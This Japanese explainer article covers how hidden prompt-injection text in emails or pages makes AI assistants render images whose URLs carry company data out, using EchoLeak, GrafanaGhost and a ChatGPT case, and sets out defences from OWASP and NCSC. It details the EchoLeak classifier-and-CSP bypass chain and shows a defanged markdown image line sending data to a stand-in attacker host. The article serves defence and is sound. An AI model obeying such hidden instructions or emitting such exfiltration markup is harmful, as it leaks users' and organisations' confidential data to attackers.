CyberpediaBrain

AIアシスタントでの画像によるデータ漏えい

メールに隠されたテキストで、AIアシスタントがデータを運ぶ画像を表示することがあります。EchoLeakとGrafanaGhostの事例と、その対策。

このページの内容
  1. 130秒でわかる要点
  2. 2概要
  3. 3よくある質問
  4. 4攻撃者の視点
  5. 5画面に見えるもの
  6. 6内部の仕組み
  7. 7事例の検証
  8. 8出典
  9. 9この記事を引用する

30秒でわかる要点

発生する場所
AIアシスタントが、自分で書いていない内容を読むときです。たとえば、メール、Webページ、文書です[3]。
攻撃者の狙い
企業のデータを、自分が管理するサーバーに流出させることです[2]。
とっさの行動
アシスタントには、作業に必要なデータのみを渡してください。というのも、うっかり渡した情報が、あとでアシスタントの回答に出てくることがあるからです[4]。
記事の構成

概要

EchoLeakの事例では、誰もクリックしないまま、AIアシスタントが企業のデータを外部に流出させました[1]。メールや文書に隠されたテキストが、アシスタントに指示を与えます[3]。アシスタントはそこで、アドレスにデータを含む画像を表示し[3]、その画像は自動的に取得されます[1]。

この仕組みを示す事例が2つあります。EchoLeakはMicrosoft 365 Copilotの事例で、研究者の論文は、細工された1通のメールで、認証なしに遠隔からデータが持ち出されることを説明しています。自動的に取得される画像が悪用されました[1]。GrafanaGhostでは、研究者が、Grafanaのアシスタントに外部の画像を表示させる可能性のある脆弱性を公開しました。その画像は、アドレスのパラメーターに入れて企業のデータを攻撃者に送っていました[2]。

よくある質問

データが外部に送られるには、クリックが必要ですか

EchoLeakでは必要ありません。説明されている攻撃は、利用者の操作なしで成立します[1]。GrafanaGhostについては、Grafanaは、悪用には利用者によるかなりの操作が必要だっただろうと述べています[2]。

間接プロンプトインジェクションとは何ですか

NCSC(英国)によると、AIシステムに直接アクセスできない攻撃者が何かを書き、それがシステムに処理されて指示と取り違えられる場合のことです[5]。OWASPは、AIアシスタントが処理するメールや添付ファイルの内容と、Webページ、文書、メールに隠されたテキストを、この分類に入れています[3]。

なぜアシスタントは、見えないテキストに従うのですか

NCSC(英国)によると、現在の大規模言語モデルは、プロンプトの中で指示とデータの間にセキュリティ上の境界を設けていません[5]。OWASPはさらに、文書の処理の流れでは、抽出したテキストを表示の状態にかかわらずモデルに渡すことが多いと付け加えています。そのため、読み手には見えないテキストもモデルには届きます[3]。

どのようなデータが漏れることがありますか

OWASPは、個人データ、財務情報、健康記録、企業の機密データ、セキュリティ上の認証情報、法的文書を挙げています[4]。

怪しい文言を除外するフィルターで十分ですか

いいえ。OWASPによると、入力のフィルタリングはセキュリティ上の境界ではありません。攻撃者は指示を何通りにも言い換えることができ、ブロックリストはそれを見抜けないからです[3]。NCSC(英国)も、悪意あるものとして知られた内容を遮断するやり方に対して警告しています。というのも、攻撃の言い換えは無限にあるからです[5]。

このリスクはなくなりますか

NCSC(英国)は、プロンプトインジェクションは完全に緩和されることが決してないかもしれないと見ています。セキュリティチームは、これが残存リスクであり続け、設計、構築、運用によって管理するものだと知っておく必要があると述べています[5]。

企業は何を制限すべきですか

OWASPは、アシスタントの権限が過剰になる原因として、機能が多すぎること、権限が多すぎること、自律性が高すぎることの3つを挙げています[6]。各ツールに与えるのは、必要なデータと操作のみにすべきです[3]。

攻撃者の視点

攻撃者はアシスタントにアクセスできません。アシスタントに読まれることになる内容、つまりメール、文書、ページを書きます[5]。そこに、たとえば背景と同じ色の文字、極小の文字、ほかの要素で覆った文字、ページの外に置いた文字を使って、指示を隠します[3]。

狙いは、企業のデータを、自分が管理するサーバーで手に入れることです[2]。OWASPは、典型的なシナリオを説明しています。個人用のアシスタントが、受信メールを要約するために受信トレイにアクセスできます。細工されたメールが、アシスタントに受信トレイを調べさせて機密情報を探させ、それを攻撃者のアドレスに転送させます[6]。このシナリオでは、開発者が選んだ拡張機能に、メッセージを送る機能も含まれています。要約には読み取りで足りるにもかかわらずです[6]。

EchoLeakについて、研究者は、回避の連鎖を説明しています。MicrosoftのXPIA(Cross Prompt Injection Attempt)分類器、リンクのマスキング(Markdownのいわゆるreference-style構文で回避)、自動的に読み込まれる画像、そしてコンテンツセキュリティポリシーで許可されたMicrosoft Teamsのプロキシです[1]。

画面に見えるもの

細工されたテキストは見えません。それが仕組みの本質です[3]。OWASPは、自らのリスクマップで、信頼されたオブザーバビリティAIの利用者が、知らないうちに漏えいを引き起こしうる状況だったと指摘しています[2]。

データは画像を通じて持ち出されます。OWASPの例は、盗むデータをアドレスに含む隠し画像タグです[3]。この原理を無害化した例を示します。これは機能しません。

抜粋
無害化した例です。機能しません。
[メールに隠されたテキスト:画像を表示するようアシスタントに求める指示]
![image](hxxps://attacker-server[.]invalid/image?data=[企業のデータ])

GrafanaGhostの事例では、悪意あるコンテキストによって、アシスタントが安全策を無視して外部の画像を表示することがあり、それによってデータがアドレスのパラメーターとして攻撃者に送られていました[2]。

内部の仕組みIT部門

仕組みは3つの要素からなります。

  • 画像は、利用者の操作なしで取得されます。EchoLeakは、自動的に読み込まれる画像を悪用していました[1]。
  • データは、画像のアドレスの中を、アドレスのパラメーターとして運ばれます[2]。
  • アシスタントの回答の表示が、出口の経路になります。OWASPは、特にGrafanaGhostを、モデル出力の不適切な処理(LLM05:2025)に分類しています[2]。

企業に求められる防御は、この3点に関わります。

  • アシスタントが表示するものをフィルタリングします。GrafanaGhostについて、OWASPは、外部コンテキストの無害化、外向きの表示の制限、アドレス検証の強化を推奨しています[2]。OWASPのチェックリストも、表示時のHTMLとMarkdownの無害化を求めています[3]。ガードレールモデルは、回答を表示する前に調べることができ、流出用のマークアップの検出も含まれます。ただし、それ自体がモデルであり、プロンプトインジェクションを受けることがあります[3]。
  • アシスタントの権限を制限します。EchoLeak研究の著者は、教訓として、最小権限の原則、多層防御、継続的な敵対的テストを挙げています[1]。OWASPは例を挙げています。システムが必要としないなら、Webアドレスの内容を取得する拡張機能をエージェントに与えないこと、メッセージ用の拡張機能は読み取りに限ることです[6]。OWASPは、影響の大きい操作には人間による承認を推奨しています[6]。
  • 出どころによって分離します。NCSC(英国)は、単純な規則を挙げています。モデルがある当事者の情報を処理するとき、その権限はその当事者の権限まで下がります。したがって、外部の人からのメールを処理するアシスタントは、特権的なツールにアクセスできてはいけません[5]。

NCSC(英国)は、プロンプトインジェクションをなくすのに十分な製品はなく、期待できる最善は、その確率または影響を減らすことだと指摘しています[5]。NCSC(英国)によると、設計上の保護は、システムの動作を制限する、モデルの外にある決定論的な安全策に、より重点を置くべきです[5]。OWASPは、これらの境界を、ダミーのデータと、計測機能付きの代替ツールでテストすることを推奨しています[3]。

従業員については、OWASPは、利用者が、意図せず機密データを渡すリスクを理解すべきだと述べています。そのデータは、のちにモデルの出力に現れることがあります[4]。OWASPは、機密情報を入力しないための指針を提供すること[4]、そして、当該の利用者またはプロセスに必要なデータへのアクセスのみを認めること[4]を推奨しています。

事例の検証実際の事例

Microsoft 365 CopilotのEchoLeak、2025年9月の研究

EchoLeakの識別子は、CVE-2025-32711です。研究者はこれを、Microsoft 365 Copilotにおけるクリック不要のプロンプトインジェクションと説明しており、細工された1通のメールで、認証なしに遠隔からデータを持ち出すことができました[1]。論文は2025年9月6日にarXivに投稿され、AAAI Fall Symposium Series 2025に掲載されました[1]。

説明されている連鎖は、XPIA分類器の回避、reference-style構文のMarkdown、自動的に読み込まれる画像、コンテンツセキュリティポリシーで許可されたTeamsのプロキシを組み合わせています[1]。著者は対策として、プロンプトの分割、入力と出力のフィルタリング強化、出どころに基づくアクセス制御、厳格なコンテンツセキュリティポリシーを提案しています[1]。

GrafanaGhost、2026年4月

OWASPは、公開日を2026年4月7日、修正が認められた日を4月8日としています[2]。Noma Securityは、GrafanaのAIコンポーネントに、システムを隠された指示を含む外部リソースに向けさせることのできる弱点を見つけました[2]。アシスタントはそこで外部の画像を表示することができ、企業のデータがアドレスのパラメーターとして攻撃者に送られました[2]。

Grafanaはその後、Markdown画像の表示の問題は速やかに修正され、悪用には利用者によるかなりの操作が必要だっただろうと述べました[2]。OWASPは、公開されたCVEは割り当てられておらず、表示のコンポーネントに部分的な修正が適用されたと明記しています[2]。これは研究としての開示です[2]。

ChatGPTと個人データ、2024年5月

2024年5月31日に投稿された論文で、著者は、ChatGPT 4と4oがプロンプトインジェクションの影響を受け、攻撃者が利用者の個人データを持ち出せたと報告しています[7]。著者によると、攻撃はサードパーティのツールなしで成立し、当時はすべての利用者が対象でした[7]。ChatGPTのメモリー機能が、この弱点を悪化させました。というのも、攻撃者が利用者を監視させて、望むデータを得ることができたからです[7]。

出典

  1. arXiv, 「EchoLeak: The First Real-World Zero-Click Prompt Injection Exploit in a Production LLM System」, 2025年9月6日. https://arxiv.org/abs/2509.10540 (2026年11月14日閲覧)
  2. OWASP, 「OWASP GenAI Exploit Round-up Report Q1 2026」, 2026年4月14日. https://genai.owasp.org/2026/04/14/owasp-genai-exploit-round-up-report-q1-2026/ (2026年11月14日閲覧)
  3. OWASP, 「LLM Prompt Injection Prevention Cheat Sheet」. https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html (2026年11月14日閲覧)
  4. OWASP, 「LLM02:2025 Sensitive Information Disclosure」, 2024年4月10日. https://genai.owasp.org/llmrisk/llm022025-sensitive-information-disclosure/ (2026年11月14日閲覧)
  5. NCSC (Royaume-Uni), 「Prompt injection is not SQL injection (it may be worse)」, 2025年12月8日. https://www.ncsc.gov.uk/blog-post/prompt-injection-is-not-sql-injection (2026年11月14日閲覧)
  6. OWASP, 「LLM06:2025 Excessive Agency」, 2024年4月10日. https://genai.owasp.org/llmrisk/llm062025-excessive-agency/ (2026年11月14日閲覧)
  7. arXiv, 「Exfiltration of personal information from ChatGPT via prompt injection」, 2024年5月31日. https://arxiv.org/abs/2406.00199 (2026年11月14日閲覧)